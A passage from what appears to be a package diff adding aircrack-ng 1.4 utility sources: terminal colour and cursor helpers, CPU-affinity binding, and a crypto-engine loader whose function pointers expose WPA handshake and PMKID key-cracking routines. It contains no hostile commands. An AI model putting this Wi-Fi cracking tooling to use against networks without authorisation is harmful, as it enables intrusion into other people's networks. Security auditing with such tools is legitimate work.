+	const char * a = str + strlen(str);
+	const char * b = suf + strlen(suf);
+
+	while (a != str && b != suf)
+	{
+		if (*--a != *--b) break;
+	}
+	return b == suf && *a == *b;
+}
+
+int is_background(void)
+{
+	pid_t grp = tcgetpgrp(STDIN_FILENO);
+	if (grp == -1)
+	{
+		// Piped
+		return 0;
+	}
+
+	if (grp == getpgrp())
+	{
+		// Foreground
+		return 0;
+	}
+
+	// Background
+	return 1;
+}
\ No newline at end of file

aircrack-ng-1.4.tar.gz/src/aircrack-util/common.h Added

@@ -0,0 +1,141 @@
+/*
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+#ifndef _COMMON_H_
+#define _COMMON_H_
+
+#if defined(__CYGWIN32__) && !defined(__CYGWIN64__)
+int fseeko64(FILE * fp, int64_t offset, int whence);
+int64_t ftello64(FILE * fp);
+#undef fseek
+#define fseek fseeko64
+#undef ftello
+#define ftello ftello64
+#endif
+
+#if defined(__FreeBSD__) || defined(__OpenBSD__)
+#undef rand
+#define rand lrand48
+#undef srand
+#define srand srand48
+#endif
+
+#include <time.h>
+
+#define SWAP(x, y)                                                             \
+	{                                                                          \
+		unsigned char tmp = x;                                                 \
+		x = y;                                                                 \
+		y = tmp;                                                               \
+	}
+
+#define SWAP32(x)                                                              \
+	x = (((x >> 24) & 0x000000FF) | ((x >> 8) & 0x0000FF00)                    \
+		 | ((x << 8) & 0x00FF0000)                                             \
+		 | ((x << 24) & 0xFF000000));
+
+#define PCT                                                                    \
+	{                                                                          \
+		struct tm * lt;                                                        \
+		time_t tc = time(NULL);                                                \
+		lt = localtime(&tc);                                                   \
+		printf("%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec);       \
+	}
+
+#ifndef MAX
+#define MAX(x, y) ((x) > (y) ? (x) : (y))
+#endif
+
+#ifndef MIN
+#define MIN(x, y) ((x) > (y) ? (y) : (x))
+#endif
+
+#ifndef ABS
+#define ABS(a) ((a) >= 0 ? (a) : (-(a)))
+#endif
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+extern const unsigned char ZERO[33];
+
+extern void calctime(time_t t, float calc);
+
+/// Retrieves the working directory.
+extern char * get_current_working_directory(void);
+
+/// Trim excess whitespace from the right-most of \a line.
+extern void rtrim(char * line);
+
+extern int is_string_number(const char * str);
+
+extern int get_ram_size(void);
+
+extern char * getVersion(const char * progname,
+						 const unsigned int maj,
+						 const unsigned int min,
+						 const unsigned int submin,
+						 const char * rev,
+						 const unsigned int beta,
+						 const unsigned int rc);
+
+/// Returns the number of CPU/cores available and online.
+extern int get_nb_cpus(void);
+
+extern int maccmp(unsigned char * mac1, unsigned char * mac2);
+
+extern char * mac2string(unsigned char * mac_address);
+
+extern int hexCharToInt(unsigned char c);
+
+extern int
+hexStringToArray(char * in, int in_length, unsigned char * out, int out_length);
+
+/// Return the mac address bytes (or null if it's not a mac address)
+extern int
+getmac(const char * macAddress, const int strict, unsigned char * mac);
+
+/// Read a line of characters inputted by the user
+extern int readLine(char line[], int maxlength);
+
+extern int hexToInt(char s[], int len);
+
+extern void rtrim(char * line);
+
+extern int string_has_suffix(const char * str, const char * suf);
+
+// Returns 1 if the current process is running in the background, 0 otherwise
+extern int is_background(void);
+
+#ifdef __cplusplus
+};
+#endif
+
+#endif

aircrack-ng-1.4.tar.gz/src/aircrack-util/console.c Added

@@ -0,0 +1,186 @@
+/*
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#include <assert.h>
+#include <stdio.h>
+#include <termios.h>
+#ifndef TIOCGWINSZ
+#include <sys/termios.h>
+#endif
+#include <unistd.h>
+
+#include "console.h"
+
+#define channel stdout
+
+void textcolor(int attr, int fg, int bg)
+{
+	char command[13];
+
+	/* Command is the control command to the terminal */
+	snprintf(
+		command, sizeof(command), "%c[%d;%d;%dm", 0x1B, attr, fg + 30, bg + 40);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void textcolor_fg(int fg)
+{
+	char command[13];
+
+	/* Command is the control command to the terminal */
+	snprintf(command, sizeof(command), "\033[%dm", fg + 30);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void textcolor_bg(int bg)
+{
+	char command[13];
+
+	/* Command is the control command to the terminal */
+	snprintf(command, sizeof(command), "\033[%dm", bg + 40);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void textstyle(int attr)
+{
+	char command[13];
+
+	/* Command is the control command to the terminal */
+	snprintf(command, sizeof(command), "\033[%im", attr);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void reset_term()
+{
+	struct termios oldt, newt;
+
+	tcgetattr(STDIN_FILENO, &oldt);
+	newt = oldt;
+	newt.c_lflag |= (ICANON | ECHO);
+	tcsetattr(STDIN_FILENO, TCSANOW, &newt);
+}
+
+void moveto(int x, int y)
+{
+	char command[13];
+
+	// clamp the X coordinate.
+	if (x < 0)
+	{
+		x = 0;
+	}
+
+	// clamp the Y coordinate.
+	if (y < 0)
+	{
+		y = 0;
+	}
+
+	// send ANSI sequence to move the cursor.
+	snprintf(command, sizeof(command), "%c[%d;%dH", 0x1B, y, x);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void move(int which, int n)
+{
+	char command[13];
+	static const char movement[] = {'A', 'B', 'C', 'D'};
+
+	assert(which >= 0 && which < 4);
+	snprintf(command, sizeof(command), "%c[%d%c", 0x1B, n, movement[which]);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void erase_display(int n)
+{
+	char command[13];
+
+	snprintf(command, sizeof(command), "%c[%dJ", 0x1B, n);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void erase_line(int n)
+{
+	char command[13];
+
+	snprintf(command, sizeof(command), "%c[%dK", 0x1B, n);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void textcolor_normal(void)
+{
+	char command[13];
+
+	snprintf(command, sizeof(command), "%c[22m", 0x1B);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void hide_cursor(void)
+{
+	char command[13];
+
+	snprintf(command, sizeof(command), "%c[?25l", 0x1B);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void show_cursor(void)
+{
+	char command[13];
+
+	snprintf(command, sizeof(command), "%c[?25h", 0x1B);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+int mygetch(void)
+{
+	struct termios oldt, newt;
+	int ch;
+
+	tcgetattr(STDIN_FILENO, &oldt);
+	newt = oldt;
+	newt.c_lflag &= ~(ICANON | ECHO);
+	tcsetattr(STDIN_FILENO, TCSANOW, &newt);
+	ch = getchar();
+	tcsetattr(STDIN_FILENO, TCSANOW, &oldt);
+
+	return ch;
+}

aircrack-ng-1.4.tar.gz/src/aircrack-util/console.h Added

@@ -0,0 +1,144 @@
+/*
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef AIRCRACK_NG_CONSOLE_H
+#define AIRCRACK_NG_CONSOLE_H
+
+/**
+ * Styling attributes for \a textstyle function.
+ */
+#define TEXT_RESET 0
+#define TEXT_BRIGHT 1
+#define TEXT_DIM 2
+#define TEXT_UNDERLINE 3
+#define TEXT_BLINK 4
+#define TEXT_REVERSE 7
+#define TEXT_HIDDEN 8
+#define TEXT_MAX_STYLE 8
+
+/**
+ * Color definitions for \a textcolor functions.
+ */
+#define TEXT_BLACK 0
+#define TEXT_RED 1
+#define TEXT_GREEN 2
+#define TEXT_YELLOW 3
+#define TEXT_BLUE 4
+#define TEXT_MAGENTA 5
+#define TEXT_CYAN 6
+#define TEXT_WHITE 7
+#define TEXT_MAX_COLOR 7
+
+/**
+ * Movement direction definitions for \a move function.
+ */
+#define CURSOR_UP 0
+#define CURSOR_DOWN 1
+#define CURSOR_FORWARD 2
+#define CURSOR_BACK 3
+
+/**
+ * Character codes for common keyboard keys.
+ */
+#define KEY_TAB 0x09
+#define KEY_SPACE 0x20
+#define KEY_ARROW_UP 0x41
+#define KEY_ARROW_DOWN 0x42
+#define KEY_ARROW_RIGHT 0x43
+#define KEY_ARROW_LEFT 0x44
+#define KEY_a 0x61
+#define KEY_c 0x63
+#define KEY_d 0x64
+#define KEY_i 0x69
+#define KEY_m 0x6D
+#define KEY_n 0x6E
+#define KEY_r 0x72
+#define KEY_s 0x73
+
+/// Changes the styling, foreground, and background
+/// character color, as shown in the user's terminal
+/// console.
+void textcolor(int attr, int fg, int bg);
+
+/// Changes the foreground character color, as shown in the
+/// user's terminal console.
+void textcolor_fg(int fg);
+
+/// Changes the background character color, as shown in the
+/// user's terminal console.
+void textcolor_bg(int bg);
+
+/// Switch to normal color or intensity, as shown in the
+/// user's terminal console.
+void textcolor_normal(void);
+
+/// Switches the styling applied to future written characters to
+/// the user's terminal console.
+void textstyle(int attr);
+
+/// Moves the cursor to specified column and row, 1-based.
+void moveto(int x, int y);
+
+/// Move the cursor a specified number of positions, in the specified
+/// direction.
+void move(int which, int n);
+
+/// \brief Erase a subset of the terminal console.
+/**
+ * From Wikipedia:
+ *
+ * Clears part of the screen. If n {\displaystyle n} n is 0 (or missing),
+ * clear from cursor to end of screen. If n {\displaystyle n} n is 1,
+ * clear from cursor to beginning of the screen. If n {\displaystyle n} n
+ * is 2, clear entire screen (and moves cursor to upper left on DOS
+ * ANSI.SYS). If n {\displaystyle n} n is 3, clear entire screen and
+ * delete all lines saved in the scrollback buffer (this feature was
+ * added for xterm and is supported by other terminal applications).
+ */
+void erase_display(int n);
+
+/// \brief Erase part of the line; of the user's terminal console.
+void erase_line(int n);
+
+/// Hide the cursor within the terminal console.
+void hide_cursor(void);
+
+/// Show the cursor within the terminal console.
+void show_cursor(void);
+
+/// Reset the terminal console display back to a known working state.
+void reset_term(void);
+
+/// Wrapper around \a getch to avoid displaying the character on the terminal
+/// console.
+int mygetch(void);
+
+#endif // AIRCRACK_NG_CONSOLE_H

aircrack-ng-1.4.tar.gz/src/aircrack-util/cpuset.h Added

@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef AIRCRACK_UTIL_CPUSET_H
+#define AIRCRACK_UTIL_CPUSET_H
+
+#include <sys/types.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+struct ac_cpuset;
+typedef struct ac_cpuset ac_cpuset_t;
+
+/// Allocate a new cpuset module handle.
+ac_cpuset_t * ac_cpuset_new(void);
+
+/// Deallocate a cpuset module handle.
+void ac_cpuset_free(ac_cpuset_t * cpuset);
+
+/// Initialize the cpuset module handle.
+void ac_cpuset_init(ac_cpuset_t * cpuset);
+
+/// Destroy the cpuset module handle.
+void ac_cpuset_destroy(ac_cpuset_t * cpuset);
+
+/// Distribute \a count threads over all available CPUs.
+void ac_cpuset_distribute(ac_cpuset_t * cpuset, size_t count);
+
+/// Bind \a tid to the CPU stored at the \a idx index position.
+void ac_cpuset_bind_thread_at(ac_cpuset_t * cpuset, pthread_t tid, size_t idx);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif

aircrack-ng-1.4.tar.gz/src/aircrack-util/cpuset_hwloc.c Added

@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#include <hwloc.h>
+#include <assert.h>
+#include <limits.h>
+#include <sys/types.h>
+
+#include "aircrack-util/cpuset.h"
+
+struct ac_cpuset
+{
+	size_t nbThreads;
+
+	hwloc_topology_t topology;
+	hwloc_cpuset_t * hwloc_cpusets;
+};
+
+ac_cpuset_t * ac_cpuset_new(void) { return malloc(sizeof(struct ac_cpuset)); }
+
+void ac_cpuset_free(ac_cpuset_t * cpuset) { free(cpuset); }
+
+void ac_cpuset_init(ac_cpuset_t * cpuset)
+{
+	assert(cpuset != NULL);
+
+	cpuset->nbThreads = 0;
+	cpuset->hwloc_cpusets = NULL;
+
+	hwloc_topology_init(&cpuset->topology);
+	hwloc_topology_load(cpuset->topology);
+}
+
+void ac_cpuset_destroy(ac_cpuset_t * cpuset)
+{
+	assert(cpuset != NULL);
+
+	if (cpuset->hwloc_cpusets != NULL)
+	{
+		free(cpuset->hwloc_cpusets);
+		cpuset->hwloc_cpusets = NULL;
+	}
+
+	hwloc_topology_destroy(cpuset->topology);
+}
+
+void ac_cpuset_distribute(ac_cpuset_t * cpuset, size_t count)
+{
+	assert(cpuset != NULL);
+
+	cpuset->nbThreads = count;
+	cpuset->hwloc_cpusets = calloc(count, sizeof(hwloc_cpuset_t));
+
+	if (!cpuset->hwloc_cpusets) return;
+
+	hwloc_obj_t root = hwloc_get_root_obj(cpuset->topology);
+
+#if defined(HWLOC_API_VERSION) && HWLOC_API_VERSION > 0x00010800
+	hwloc_distrib(cpuset->topology,
+				  &root,
+				  1u,
+				  cpuset->hwloc_cpusets,
+				  (unsigned int) count,
+				  INT_MAX,
+				  0u);
+#else
+	hwloc_distributev(cpuset->topology,
+					  &root,
+					  1u,
+					  cpuset->hwloc_cpusets,
+					  (unsigned int) count,
+					  INT_MAX);
+#endif
+}
+
+void ac_cpuset_bind_thread_at(ac_cpuset_t * cpuset, pthread_t tid, size_t idx)
+{
+	assert(cpuset != NULL);
+
+	if (idx > cpuset->nbThreads) return;
+
+	hwloc_bitmap_singlify(cpuset->hwloc_cpusets[idx]);
+
+	if (hwloc_set_thread_cpubind(cpuset->topology,
+								 tid,
+								 cpuset->hwloc_cpusets[idx],
+								 HWLOC_CPUBIND_THREAD))
+	{
+		char * str;
+		int error = errno;
+		hwloc_bitmap_asprintf(&str, cpuset->hwloc_cpusets[idx]);
+		fprintf(stderr,
+				"Couldn't bind thread to cpuset %s: %s\n",
+				str,
+				strerror(error));
+		free(str);
+	}
+}

aircrack-ng-1.4.tar.gz/src/aircrack-util/cpuset_pthread.c Added

@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+
+#include <assert.h>
+#include <limits.h>
+#include <pthread.h>
+#include <stdlib.h>
+#include <sys/types.h>
+
+#include "aircrack-util/cpuset.h"
+
+struct ac_cpuset
+{
+	size_t nbThreads;
+};
+
+ac_cpuset_t * ac_cpuset_new(void) { return malloc(sizeof(struct ac_cpuset)); }
+
+void ac_cpuset_free(ac_cpuset_t * cpuset) { free(cpuset); }
+
+void ac_cpuset_init(ac_cpuset_t * cpuset)
+{
+	assert(cpuset != NULL);
+
+	cpuset->nbThreads = 0;
+}
+
+void ac_cpuset_destroy(ac_cpuset_t * cpuset) { assert(cpuset != NULL); }
+
+void ac_cpuset_distribute(ac_cpuset_t * cpuset, size_t count)
+{
+	assert(cpuset != NULL);
+
+	cpuset->nbThreads = count;
+}
+
+void ac_cpuset_bind_thread_at(ac_cpuset_t * cpuset, pthread_t tid, size_t idx)
+{
+	assert(cpuset != NULL);
+
+	if (idx > cpuset->nbThreads) return;
+
+#if defined(HAVE_PTHREAD_AFFINITY_NP) && HAVE_PTHREAD_AFFINITY_NP
+	// set affinity to a specific processor, for the specified thread.
+	cpu_set_t set;
+	CPU_ZERO(&set);
+	CPU_SET(idx, &set);
+	pthread_setaffinity_np(tid, sizeof(cpu_set_t), &set);
+#endif
+}

aircrack-ng-1.4.tar.gz/src/aircrack-util/crypto_engine_loader.c Added

@@ -0,0 +1,540 @@
+/*
+ * Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/types.h>
+#include <dirent.h>
+#ifndef STATIC_BUILD
+#include <dlfcn.h>
+#endif
+
+#include "aircrack-crypto/crypto_engine.h"
+#include "crypto_engine_loader.h"
+#include "common.h"
+#include "trampoline.h"
+
+#ifndef STATIC_BUILD
+static void * module = NULL;
+#endif
+
+#ifdef STATIC_BUILD
+int (*dso_ac_crypto_engine_init)(ac_crypto_engine_t * engine)
+	= &ac_crypto_engine_init;
+void (*dso_ac_crypto_engine_destroy)(ac_crypto_engine_t * engine)
+	= &ac_crypto_engine_destroy;
+void (*dso_ac_crypto_engine_set_essid)(ac_crypto_engine_t * engine,
+									   const uint8_t * essid)
+	= &ac_crypto_engine_set_essid;
+int (*dso_ac_crypto_engine_thread_init)(ac_crypto_engine_t * engine,
+										int threadid)
+	= &ac_crypto_engine_thread_init;
+void (*dso_ac_crypto_engine_thread_destroy)(ac_crypto_engine_t * engine,
+											int threadid)
+	= &ac_crypto_engine_thread_destroy;
+int (*dso_ac_crypto_engine_simd_width)(void) = &ac_crypto_engine_simd_width;
+int (*dso_ac_crypto_engine_wpa_crack)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t eapol[256],
+	uint32_t eapol_size,
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
+	uint8_t keyver,
+	const uint8_t cmpmic[20],
+	int nparallel,
+	int threadid)
+	= &ac_crypto_engine_wpa_crack;
+void (*dso_ac_crypto_engine_calc_pke)(ac_crypto_engine_t * engine,
+									  const uint8_t bssid[6],
+									  const uint8_t stmac[6],
+									  const uint8_t anonce[32],
+									  const uint8_t snonce[32],
+									  int threadid)
+	= &ac_crypto_engine_calc_pke;
+int (*dso_ac_crypto_engine_wpa_pmkid_crack)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t pmkid[32],
+	int nparallel,
+	int threadid)
+	= &ac_crypto_engine_wpa_pmkid_crack;
+void (*dso_ac_crypto_engine_set_pmkid_salt)(ac_crypto_engine_t * engine,
+											const uint8_t bssid[6],
+											const uint8_t stmac[6],
+											int threadid)
+	= &ac_crypto_engine_set_pmkid_salt;
+int (*dso_ac_crypto_engine_supported_features)(void)
+	= &ac_crypto_engine_supported_features;
+uint8_t * (*dso_ac_crypto_engine_get_pmk)(ac_crypto_engine_t * engine,
+										  int threadid,
+										  int index)
+	= &ac_crypto_engine_get_pmk;
+uint8_t * (*dso_ac_crypto_engine_get_ptk)(ac_crypto_engine_t * engine,
+										  int threadid,
+										  int index)
+	= &ac_crypto_engine_get_ptk;
+void (*dso_ac_crypto_engine_calc_one_pmk)(const uint8_t * key,
+										  const uint8_t * essid,
+										  uint32_t essid_length,
+										  uint8_t pmk[40])
+	= &ac_crypto_engine_calc_one_pmk;
+void (*dso_ac_crypto_engine_calc_pmk)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	int nparallel,
+	int threadid)
+	= &ac_crypto_engine_calc_pmk;
+void (*dso_ac_crypto_engine_calc_mic)(ac_crypto_engine_t * engine,
+									  const uint8_t eapol[256],
+									  const uint32_t eapol_size,
+									  uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED]
+												 [20],
+									  const uint8_t keyver,
+									  const int vectorIdx,
+									  const int threadid)
+	= &ac_crypto_engine_calc_mic;
+#else
+int (*dso_ac_crypto_engine_init)(ac_crypto_engine_t * engine) = NULL;
+void (*dso_ac_crypto_engine_destroy)(ac_crypto_engine_t * engine) = NULL;
+void (*dso_ac_crypto_engine_set_essid)(ac_crypto_engine_t * engine,
+									   const uint8_t * essid)
+	= NULL;
+int (*dso_ac_crypto_engine_thread_init)(ac_crypto_engine_t * engine,
+										int threadid)
+	= NULL;
+void (*dso_ac_crypto_engine_thread_destroy)(ac_crypto_engine_t * engine,
+											int threadid)
+	= NULL;
+int (*dso_ac_crypto_engine_simd_width)(void) = NULL;
+int (*dso_ac_crypto_engine_wpa_crack)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t eapol[256],
+	uint32_t eapol_size,
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
+	uint8_t keyver,
+	const uint8_t cmpmic[20],
+	int nparallel,
+	int threadid)
+	= NULL;
+void (*dso_ac_crypto_engine_calc_pke)(ac_crypto_engine_t * engine,
+									  const uint8_t bssid[6],
+									  const uint8_t stmac[6],
+									  const uint8_t anonce[32],
+									  const uint8_t snonce[32],
+									  int threadid)
+	= NULL;
+int (*dso_ac_crypto_engine_wpa_pmkid_crack)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t pmkid[32],
+	int nparallel,
+	int threadid)
+	= NULL;
+void (*dso_ac_crypto_engine_set_pmkid_salt)(ac_crypto_engine_t * engine,
+											const uint8_t bssid[6],
+											const uint8_t stmac[6],
+											int threadid)
+	= NULL;
+int (*dso_ac_crypto_engine_supported_features)(void) = NULL;
+uint8_t * (*dso_ac_crypto_engine_get_pmk)(ac_crypto_engine_t * engine,
+										  int threadid,
+										  int index)
+	= NULL;
+uint8_t * (*dso_ac_crypto_engine_get_ptk)(ac_crypto_engine_t * engine,
+										  int threadid,
+										  int index)
+	= NULL;
+void (*dso_ac_crypto_engine_calc_one_pmk)(const uint8_t * key,
+										  const uint8_t * essid,
+										  uint32_t essid_length,
+										  uint8_t pmk[40])
+	= NULL;
+void (*dso_ac_crypto_engine_calc_pmk)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	int nparallel,
+	int threadid)
+	= NULL;
+void (*dso_ac_crypto_engine_calc_mic)(ac_crypto_engine_t * engine,
+									  const uint8_t eapol[256],
+									  const uint32_t eapol_size,
+									  uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED]
+												 [20],
+									  const uint8_t keyver,
+									  const int vectorIdx,
+									  const int threadid)
+	= NULL;
+#endif
+
+#if defined(CYGWIN)
+/*
+	This is merely a hack until code refactoring can occur.
+
+	A new module is needed for handling file and path operations, because
+	this here is only a step towards correctly getting the executable
+	path for all operating systems.
+
+	It was required for Cygwin to determine the location of the
+	Crypto Engine DLLs which are in the same folder as the
+	executable.
+*/
+#include <stdarg.h>
+#include <stdio.h>
+#include <wtypes.h>
+#include <wchar.h>
+#include <sys/cygwin.h>
+
+#include <windows.h>
+#include <shlwapi.h>
+
+static char * get_executable_directory(void)
+{
+	HMODULE hModule = GetModuleHandle(NULL);
+	CHAR path[MAX_PATH];
+
